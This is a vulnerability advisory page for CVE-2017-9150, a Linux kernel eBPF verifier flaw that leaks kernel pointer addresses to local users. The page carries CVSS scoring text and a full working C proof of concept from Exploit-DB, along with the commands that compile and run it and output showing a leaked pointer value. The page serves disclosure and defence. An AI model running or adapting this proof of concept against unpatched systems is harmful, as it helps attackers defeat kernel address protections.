CVE-2017-9150 : Detail

CVE-2017-9150

5.5
/
Medium
A01-Broken Access Control
0.05%V3
Local
2017-05-22
20h00 +00:00
2017-09-08
17h57 +00:00
CVE.org
NVD
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CVE Descriptions

The do_check function in kernel/bpf/verifier.c in the Linux kernel before 4.11.1 does not make the allow_ptr_leaks value available for restricting the output of the print_bpf_insn function, which allows local users to obtain sensitive address information via crafted bpf system calls.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 42048

Publication date : 2017-05-21 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1251 When the eBPF verifier (kernel/bpf/verifier.c) runs in verbose mode, it dumps all processed instructions to a user-accessible buffer in human-readable form using print_bpf_insn(). For instructions with class BPF_LD and mode BPF_IMM, it prints the raw 32-bit value: } else if (class == BPF_LD) { if (BPF_MODE(insn->code) == BPF_ABS) { [...] } else if (BPF_MODE(insn->code) == BPF_IND) { [...] } else if (BPF_MODE(insn->code) == BPF_IMM) { verbose("(%02x) r%d = 0x%x\n", insn->code, insn->dst_reg, insn->imm); } else { [...] } } else if (class == BPF_JMP) { This is done in do_check(), after replace_map_fd_with_map_ptr() has executed. replace_map_fd_with_map_ptr() stores the lower half of a raw pointer in all instructions with class BPF_LD, mode BPF_IMM and size BPF_DW (map references). So when verbose verification is performed on a program with a map reference, the lower half of the pointer to the map becomes visible to the user: $ cat bpf_pointer_leak_poc.c */ #define _GNU_SOURCE #include <unistd.h> #include <sys/syscall.h> #include <linux/bpf.h> #include <err.h> #include <stdio.h> #include <stdint.h> #define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ ((struct bpf_insn) { \ .code = BPF_LD | BPF_DW | BPF_IMM, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = (__u32) (IMM) }), \ ((struct bpf_insn) { \ .code = 0, /* zero is reserved opcode */ \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = ((__u64) (IMM)) >> 32 }) #define BPF_LD_MAP_FD(DST, MAP_FD) \ BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) #define BPF_MOV64_IMM(DST, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_MOV | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) #define BPF_EXIT_INSN() \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_EXIT, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = 0 }) #define ARRSIZE(x) (sizeof(x) / sizeof((x)[0])) int bpf_(int cmd, union bpf_attr *attrs) { return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs)); } int main(void) { union bpf_attr create_map_attrs = { .map_type = BPF_MAP_TYPE_ARRAY, .key_size = 4, .value_size = 1, .max_entries = 1 }; int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs); if (mapfd == -1) err(1, "map create"); struct bpf_insn insns[] = { BPF_LD_MAP_FD(BPF_REG_0, mapfd), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN() }; char verifier_log[10000]; union bpf_attr create_prog_attrs = { .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, .insn_cnt = ARRSIZE(insns), .insns = (uint64_t)insns, .license = (uint64_t)"", .log_level = 1, .log_size = sizeof(verifier_log), .log_buf = (uint64_t)verifier_log }; int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs); if (progfd == -1) err(1, "prog load"); puts(verifier_log); } /* $ gcc -o bpf_pointer_leak_poc bpf_pointer_leak_poc.c -Wall -std=gnu99 -I~/linux/usr/include $ ./bpf_pointer_leak_poc 0: (18) r0 = 0xd9da1c80 2: (b7) r0 = 0 3: (95) exit processed 3 insns Tested with kernel 4.11. */

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 4.10.9

References

https://www.exploit-db.com/exploits/42048/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/98635
Tags : vdb-entry, x_refsource_BID